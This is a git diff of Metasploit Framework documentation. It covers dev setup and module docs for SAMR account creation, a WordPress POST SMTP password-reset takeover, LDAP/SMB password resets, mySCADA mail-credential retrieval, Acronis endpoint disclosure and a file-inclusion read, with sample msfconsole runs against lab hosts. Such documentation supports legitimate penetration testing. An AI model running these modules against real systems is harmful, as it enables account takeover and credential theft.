#### Pre-Windows 10
* Install [choco](https://chocolatey.org/install)
* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.6-1/rubyinstaller-devkit-3.3.6-1-x64.exe)
* Install pcaprub dependencies from your cmd.exe terminal:
```
@@ -46,7 +65,7 @@ choco install 7zip
Install a version of PostgreSQL:
```
choco install postgresql12
choco install postgresql17
```
## Set up your local copy of the repository
@@ -82,7 +101,9 @@ git config --global user.email "$GITHUB_EMAIL"
git config --global github.user "$GITHUB_USERNAME"
```
* Set up [msftidy] to run before each `git commit` and after each `git merge` to quickly identify potential issues with your contributions:
- Set up [msftidy] to run before each `git commit` and after each `git merge` to quickly identify potential issues with your contributions:
#### Linux
```bash
cd ~/git/metasploit-framework
@@ -90,8 +111,20 @@ ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit
ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/post-merge
```
#### Windows
```powershell
cd ~/git/metasploit-framework
mkdir .githooks
git config --local core.hooksPath .githooks/
New-Item -Path pre-commit -ItemType SymbolicLink -Value ..\tools\dev\pre-commit-hook.rb
New-Item -Path post-merge -ItemType SymbolicLink -Value ..\tools\dev\pre-commit-hook.rb
```
## Install Ruby
**Note:** If you are using Windows, ruby installed in [Install dependencies](#install-dependencies) section, so you can skip this section
Linux distributions do not ship with the latest Ruby, nor are package managers routinely updated. Additionally, if you are working with multiple Ruby projects, each one has dependencies and Ruby versions which can start to conflict. For these reasons, it is advisable to use a Ruby manager.
You could just install Ruby directly (eg. `sudo apt install ruby-dev`), but you may likely end up with the incorrect version and no way to update. Instead, consider using one of the many different [Ruby environment managers] available. The Metasploit team prefers [rbenv] and [rvm] (note that [rvm] does require a re-login to complete).
@@ -101,9 +134,9 @@ Regardless of your choice, you'll want to make sure that, when inside the `~/git
```
$ cd ~/git/metasploit-framework
$ cat .ruby-version
3.0.2
3.2.5
$ ruby -v
ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux]
ruby 3.2.5 (2024-07-26 revision 31d0f1a2e7) [x86_64-darwin23]
```
Note: the Ruby version is likely to change over time, so don't rely on the output in the above example. Instead, confirm your `ruby -v` output with the version number listed in the `.ruby-version` file.
+3
View File
@@ -856,6 +856,9 @@ NAVIGATION_CONFIG = [
{
path: 'Loading-Test-Modules.md'
},
{
path: 'Payload-Testing.md'
},
{
path: 'Measuring-Metasploit-Performance.md'
}
@@ -0,0 +1,109 @@
## Vulnerable Application
Add, lookup and delete user / machine accounts via MS-SAMR. By default standard active directory users can add up to 10
new computers to the domain (MachineAccountQuota). Administrative privileges however are required to delete the created
accounts, or to create/delete user accounts.
## Verification Steps
1. From msfconsole
2. Do: `use auxiliary/admin/dcerpc/samr_account`
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
1. Set the `ACCOUNT_NAME` option for `DELETE_ACCOUNT` and `LOOKUP_ACCOUNT` actions
4. Run the module and see that a new machine account was added
## Options
### SMBDomain
The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its
default value.
### ACCOUNT_NAME
The account name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the
`ADD_USER`, `LOOKUP_ACCOUNT` and `DELETE_ACCOUNT` actions. If left blank for `ADD_COMPUTER`, a random, realistic name
will be generated.
### ACCOUNT_PASSWORD
The password for the new account. This option is only used for the `ADD_COMPUTER` and `ADD_USER` actions. If left
blank, a random value will be generated.
## Actions
### ADD_COMPUTER
Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the
user has exceeded the maximum number of computer accounts that they are allowed to create.
After the computer account is created, the password will be set for it. If `ACCOUNT_NAME` is set, that value will be
used and the module will fail if the specified name is already in use. If `ACCOUNT_NAME` is *not* set, a random value
will be used.
### ADD_USER
Add a new user to the domain. The account being used to create the new user must have permission to do so.
After the user account is created, the password will be set for it. The `ACCOUNT_NAME` option must be set to the name of
the account to create. The module will fail if the specified name is already in use.
### DELETE_ACCOUNT
Delete a user or computer account from the domain. This action requires that the `ACCOUNT_NAME` option be set.
### LOOKUP_ACCOUNT
Lookup a user or computer account in the domain. This action verifies that the specified account exists, and looks up
its security ID (SID), which includes the relative ID (RID) as the last component.
## Scenarios
### Windows Server 2019
First, a new computer account is created and its details are logged to the database.
```
msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(admin/dcerpc/samr_account) > show options
Module options (auxiliary/admin/dcerpc/samr_account):
Name Current Setting Required Description
---- --------------- -------- -----------
ACCOUNT _NAME no The computer name
ACCOUNT_PASSWORD no The password for the new computer
RHOSTS 192.168.159.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass Password1 no The password for the specified username
SMBUser aliddle no The username to authenticate as
Auxiliary action:
Name Description
---- -----------
ADD_COMPUTER Add a computer account
msf6 auxiliary(admin/dcerpc/samr_account) > run
[*] Running module against 192.168.159.96
[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_account) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password
msf6 auxiliary(admin/dcerpc/samr_account) >
```
@@ -1,100 +0,0 @@
## Vulnerable Application
Add, lookup and delete computer accounts via MS-SAMR. By default standard active directory users can add up to 10 new
computers to the domain. Administrative privileges however are required to delete the created accounts.
## Verification Steps
1. From msfconsole
2. Do: `use auxiliary/admin/dcerpc/samr_computer`
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
1. Set the `COMPUTER_NAME` option for `DELETE_COMPUTER` and `LOOKUP_COMPUTER` actions
4. Run the module and see that a new machine account was added
## Options
### SMBDomain
The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its
default value.
### COMPUTER_NAME
The computer name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the
`LOOKUP_COMPUTER` and `DELETE_COMPUTER` actions.
### COMPUTER_PASSWORD
The password for the new computer. This option is only used for the `ADD_COMPUTER` action. If left blank, a random value
will be generated.
## Actions
### ADD_COMPUTER
Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the
user has exceeded the maximum number of computer accounts that they are allowed to create.
After the computer account is created, the password will be set for it. If `COMPUTER_NAME` is set, that value will be
used and the module will fail if the selected name is already in use. If `COMPUTER_NAME` is *not* set, a random value
will be used.
### DELETE_COMPUTER
Delete a computer from the domain. This action requires that the `COMPUTER_NAME` option be set.
### LOOKUP_COMPUTER
Lookup a computer in the domain. This action verifies that the specified computer exists, and looks up its security ID
(SID), which includes the relative ID (RID) as the last component.
## Scenarios
### Windows Server 2019
First, a new computer account is created and its details are logged to the database.
```
msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
Module options (auxiliary/admin/dcerpc/samr_computer):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPUTER_NAME no The computer name
COMPUTER_PASSWORD no The password for the new computer
RHOSTS 192.168.159.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass Password1 no The password for the specified username
SMBUser aliddle no The username to authenticate as
Auxiliary action:
Name Description
---- -----------
ADD_COMPUTER Add a computer account
msf6 auxiliary(admin/dcerpc/samr_computer) > run
[*] Running module against 192.168.159.96
[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_computer) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password
msf6 auxiliary(admin/dcerpc/samr_computer) >
```
@@ -0,0 +1,105 @@
## Vulnerable Application
The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege
escalation where an unauthenticated user is able to reset the password
of an arbitrary user. This is done by requesting a password reset, then
viewing the latest email logs to find the associated password reset email.
### Install
1. Create `wp_post_smtp_acct_takeover.docker-compose.yml` with the content:
```
version: '3.1'
services:
wordpress:
image: wordpress:latest
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
mem_limit: 512m
volumes:
- wordpress:/var/www/html
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
```
2. `docker-compose -f wp_post_smtp_acct_takeover.docker-compose.yml up`
3. `wget https://downloads.wordpress.org/plugin/post-smtp.2.8.6.zip`
4. `unzip post-smtp.2.8.6.zip`
5. `docker cp post-smtp <wordpress_container_id>:/var/www/html/wp-content/plugins`
6. Complete the setup of wordpress
7. Enable the post-smtp plugin, select "default" for the SMTP service
1. Complete the setup using random information, it isn't validated.
8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244
1. Settings -> Permalinks -> Permalink structure -> Select "Post name" -> Save Changes.
## Verification Steps
1. Install the vulnerable plugin
2. Start msfconsole
3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover`
4. Do: `set rhost 127.0.0.1`
5. Do: `set rport 5555`
6. Do: `set ssl false`
7. Do: `set username <username>`
8. Do: `set verbose true`
9. Do: `run`
10. Visit the output URL to reset the user's password.
## Options
### USERNAME
The username to perform a password reset against
## Scenarios
### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker
```
msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555
rport => 5555
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false
ssl => false
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin
username => admin
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true
verbose => true
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/post-smtp/readme.txt
[*] Found version 2.8.6 in the plugin
[+] The target appears to be vulnerable.
[*] Attempting to Registering token fUefO7U12dXtb0DM on device GP3tOFuMfFErw
[+] Succesfully created token: fUefO7U12dXtb0DM
[*] Requesting logs
[*] Requesting email content from logs for ID 4
[+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt
[+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US
[*] Auxiliary module execution completed
```
@@ -0,0 +1,39 @@
## Introduction
Allows changing or resetting users' passwords over the LDAP protocol (particularly for Active Directory).
"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification.
"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it.
Note that users can typically not reset their own passwords (unless they have very high privileges), but can usually change their password as long as they know the existing one.
This module works with existing sessions (or relaying), especially for Resetting, wherein the target's password is not required.
## Actions
- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions)
- `CHANGE` - Change the user's password, knowing the existing one.
## Options
The required options are based on the action being performed:
- When resetting a password, you must specify the `TARGET_USER`
- When changing a password, you must specify the `USERNAME` and `PASSWORD`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions)
- The `NEW_PASSWORD` option must always be provided
**USERNAME**
The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
**PASSWORD**
The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
**TARGET_USER**
For resetting passwords, the user account for which to reset the password. The authenticated account (username) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)
**NEW_PASSWORD**
The new password to set.
@@ -62,14 +62,14 @@ PropagationFlags : None
## Module usage
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
The `admin/dcerpc/samr_account` module is generally used to first create a computer account, which by default, all user accounts in a domain can perform:
1. From msfconsole
2. Do: `use auxiliary/admin/dcerpc/samr_computer`
2. Do: `use auxiliary/admin/dcerpc/samr_account`
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
a. For the `ADD_COMPUTER` action, if you don't specify `COMPUTER_NAME` or `COMPUTER_PASSWORD` - one will be generated automatically
b. For the `DELETE_COMPUTER` action, set the `COMPUTER_NAME` option
c. For the `LOOKUP_COMPUTER` action, set the `COMPUTER_NAME` option
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
4. Run the module and see that a new machine account was added
Then the `auxiliary/admin/ldap/rbcd` can be used:
@@ -121,19 +121,30 @@ with the Service for User (S4U) Kerberos extension.
First create the computer account:
```msf
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
msf6 auxiliary(admin/dcerpc/samr_account) > show options
Module options (auxiliary/admin/dcerpc/samr_computer):
Name Current Setting Required Description
---- --------------- -------- -----------
ACCOUNT_NAME no The account name
ACCOUNT_PASSWORD no The password for the new account
Name Current Setting Required Description
---- --------------- -------- -----------
COMPUTER_NAME no The computer name
COMPUTER_PASSWORD no The password for the new computer
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Auxiliary action:
@@ -143,13 +154,13 @@ Auxiliary action:
ADD_COMPUTER Add a computer account
msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.10
msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser sandy
msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser sandy
SMBUser => sandy
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1!
msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(admin/dcerpc/samr_computer) > run
msf6 auxiliary(admin/dcerpc/samr_account) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:445 - Using automatically identified domain: MSFLAB
@@ -157,7 +168,7 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run
[+] 192.168.159.10:445 - Password: A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT
[+] 192.168.159.10:445 - SID: S-1-5-21-3402587289-1488798532-3618296993-1655
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
msf6 auxiliary(admin/dcerpc/samr_account) > use auxiliary/admin/ldap/rbcd
```
Now use the RBCD module to read the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
@@ -181,7 +192,7 @@ msf6 auxiliary(admin/ldap/rbcd) > read
[*] Auxiliary module execution completed
```
Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_computer`:
Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_account`:
```msf
msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$
@@ -0,0 +1,64 @@
## Vulnerable Application
**Vulnerability Description**
This module exploits two vulnerabilities (CVE-2025-24865 & CVE-2025-22896) in mySCADA MyPRO Manager <= v1.3 to retrieve the configured
credentials for the mail server.
The administrative web interface has certain features where credentials are required to be accessed, but the implementation is flawed,
allowing to bypass the requirement. Other important administrative features do not require credentials at all, allowing an unauthenticated
remote attacker to perform privileged actions. These issues are tracked through CVE-2025-24865.
Another vulnerability, tracked through CVE-2025-22896, is related to the cleartext storage of various credentials by the application.
One way how these issues can be exploited is to allow an unauthenticated remote attacker to retrieve the cleartext credentials of the mail
server that is configured by the product, which this module does.
Versions <= 1.3 are affected. CISA published [ICSA-25-044-16](https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16) to cover
the security issues.
**Vulnerable Application Installation**
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
**Successfully tested on**
- mySCADA MyPRO Manager 1.3 on Windows 11 (22H2)
## Verification Steps
1. Install the application
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
3. Start `msfconsole` and run the following commands:
```
msf6 > use auxiliary/admin/scada/mypro_mgr_creds
msf6 auxiliary(admin/scada/mypro_mgr_creds) > set RHOSTS <IP>
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run
```
## Scenarios
Running the module against MyPRO Manager v1.3 on Windows 11, should result in an output similar to the
following:
```
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run
[*] Running module against 192.168.1.78
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Mail server credentials retrieved:
[+] Host: smtp.example.com
[+] Port: 993
[+] Auth Type: login
[+] User: user
[+] Password: SuperS3cr3t!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/scada/mypro_mgr_creds) > creds
Credentials
===========
host origin service public private realm private_type JtR Format cracked_password
---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
192.168.1.78 192.168.1.78 34022/tcp (http) user SuperS3cr3t! Password
```
@@ -0,0 +1,46 @@
## Introduction
Allows changing or resetting users' passwords.
"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification.
"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it.
Note that users can typically not reset their own passwords (unless they have very high privileges).
This module works with existing sessions (or relaying), especially for Reset use cases, wherein the target's password is not required.
## Actions
- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions). New AES kerberos keys will be generated.
- `RESET_NTLM` - Reset the target's NTLM hash, without knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.
- `CHANGE` - Change the password, knowing the existing one. New AES kerberos keys will be generated.
- `CHANGE_NTLM` - Change the password to a NTLM hash value, knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.
## Options
The required options are based on the action being performed:
- When resetting a password, you must specify the `TARGET_USER`
- When changing a password, you must specify the `SMBUser` and `SMBPass`, even if using an existing session (since the API requires both of these to be specified, even for open SMB sessions)
- When resetting or changing a password, you must specify `NEW_PASSWORD`
- When resetting or changing an NTLM hash, you must specify `NEW_NTLM`
**SMBUser**
The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
**SMBPass**
The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
**TARGET_USER**
For resetting passwords, the user account for which to reset the password. The authenticated account (SMBUser) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)
**NEW_PASSWORD**
The new password to set for `RESET` and `CHANGE` actions.
**NEW_NTLM**
The new NTLM hash to set for `RESET_NTLM` and `CHANGE_NTLM` actions. This can either be an NT hash, or a colon-delimited NTLM hash.
@@ -0,0 +1,205 @@
## Vulnerable Application
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources.
Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment.
This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect appliance which,
in its default configuration, allows the anonymous registration of new backup/protection agents on new endpoints.
This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance.
As the management web console is running on the same port as the API for the agents,
this bearer token is also valid for any actions on the web console.
This allows an attacker with network access to the appliance to start the registration of a new agent,
retrieve a bearer token that provides admin access to the available functions in the web console.
This module will gather all machine info (endpoints) configured and managed by the appliance.
This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands
on both the managed endpoint and the appliance itself.
This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.
Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
The following releases were tested.
**Acronis Cyber Protect 15 ISO appliances:**
* Acronis Cyber Protect 15 Build 28503
* Acronis Cyber Protect 15 Build 27009
* Acronis Cyber Protect 15 Build 26981
* Acronis Cyber Protect 15 Build 26172
**Acronis Cyber Protect 12.5 ISO appliances:**
* Acronis Cyber Protect 12.5 Build 16428
* Acronis Cyber Protect 12.5 Build 16386
* Acronis Cyber Protect 12.5 Build 14330
* Acronis Cyber Protect 12.5 Build 11010
## Installation steps to install the Acronis Cyber Protect/Backup appliance
* Install the virtualization engine VMware Fusion on your preferred platform.
* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html).
* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US).
* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image.
* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address
* using the option `change installation settings`.
* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22`
* via the `webui` via `http://your_ip:9877`.
* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect.
* Login into the appliance via the `webui`.
* Follow the license instructions to apply your 30-day trial license.
You are now ready to test the module.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
- [ ] `set rhosts <ip-target>`
- [ ] `run`
- [ ] you should get a list of all endpoints that are registered at the appliance.
## Options
### OUTPUT
You can use option `table` to print output of the gather info to the console (default).
Choosing option `json` will store all information at a file in `json` format at the loot directory.
You can use this file in combination with `jq` for offline queries and processing.
## Scenarios
```msf
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > info
Name: Acronis Cyber Protect/Backup machine info disclosure
Module: auxiliary/gather/acronis_cyber_protect_machine_info_disclosure
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
Sandro Tolksdorf of usd AG.
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OUTPUT table yes Output format to use (Accepted: table, json)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 9877 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup instance
VHOST no HTTP server virtual host
Description:
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
compute, storage and application resources. Businesses and Service Providers are using it
to protect and backup all IT assets in their IT environment.
This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect
appliance which, in its default configuration, allows the anonymous registration of new
backup/protection agents on new endpoints. This API endpoint also generates bearer tokens
which the agent then uses to authenticate to the appliance.
As the management web console is running on the same port as the API for the agents, this
bearer token is also valid for any actions on the web console. This allows an attacker
with network access to the appliance to start the registration of a new agent, retrieve
a bearer token that provides admin access to the available functions in the web console.
This module will gather all machine info (endpoints) configured and managed by the appliance.
This information can be used in a subsequent attack that exploits this vulnerability to
execute arbitrary commands on both the managed endpoint and the appliance which is covered
in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.
Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-30995
https://nvd.nist.gov/vuln/detail/CVE-2022-3405
https://herolab.usd.de/security-advisories/usd-2022-0008/
https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995
View the full module info with the info -d command.
```
### Acronis Cyber Backup 12.5 build 14330 VMware appliance
```msf
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run
[*] Running module against 192.168.201.6
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.
[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.
[*] ----------------------------------------
[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks
[*] type: machine
[*] hostname: WIN-BJDNH44EEDB
[*] IP: 192.168.201.5
[*] OS: Microsoft Windows Server 2019 Standard
[*] ARCH: windows
[*] ONLINE: false
[*] ----------------------------------------
[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks
[*] type: machine
[*] hostname: AcronisAppliance-AC319
[*] IP: 192.168.201.6
[*] OS: GNU/Linux
[*] ARCH: linux
[*] ONLINE: true
[*] Auxiliary module execution completed
```
### Acronis Cyber Backup 15 build 27009 VMware appliance
```msf
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run
[*] Running module against 192.168.201.6
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009
[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.
[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.
[*] ----------------------------------------
[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D
[+] parentId: 00000000-0000-0000-0000-000000000000
[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks
[*] type: machine
[*] hostname: AcronisAppliance-FCD94
[*] IP: 192.168.201.6
[*] OS: Linux: CentOS Linux release 7.6.1810 (Core)
[*] ARCH: linux
[*] ONLINE: true
[*] ----------------------------------------
[+] hostId: C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E
[+] parentId: 00000000-0000-0000-0000-000000000000
[+] key: phm.1100195A-112E-4904-A933-264C2D12A4A5@C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E.disks
[*] type: machine
[*] hostname: victim.evil.corp
[*] IP: 192.168.201.2
[*] OS: Microsoft Windows Server 2022 Standard
[*] ARCH: windows
[*] ONLINE: false
[*] Auxiliary module execution completed
```
## Limitations
No limitations.
@@ -0,0 +1,46 @@
## Vulnerable Application
This module leverages an issue with how the `RESULTPAGE` parameter within `WEBACCCOUNT.cgi` handles file referencing and as a result is vulnerable to Local File Inclusion (LFI).
## Options
To successfully read contents of the Windows file system you must set the full file path of the file you want to check using `TARGET_FILE` (not including the drive letter prefix).
As a first run it is recommended to try leaking `Windows/system.ini` as a validation exercise on your first module run.
## Testing
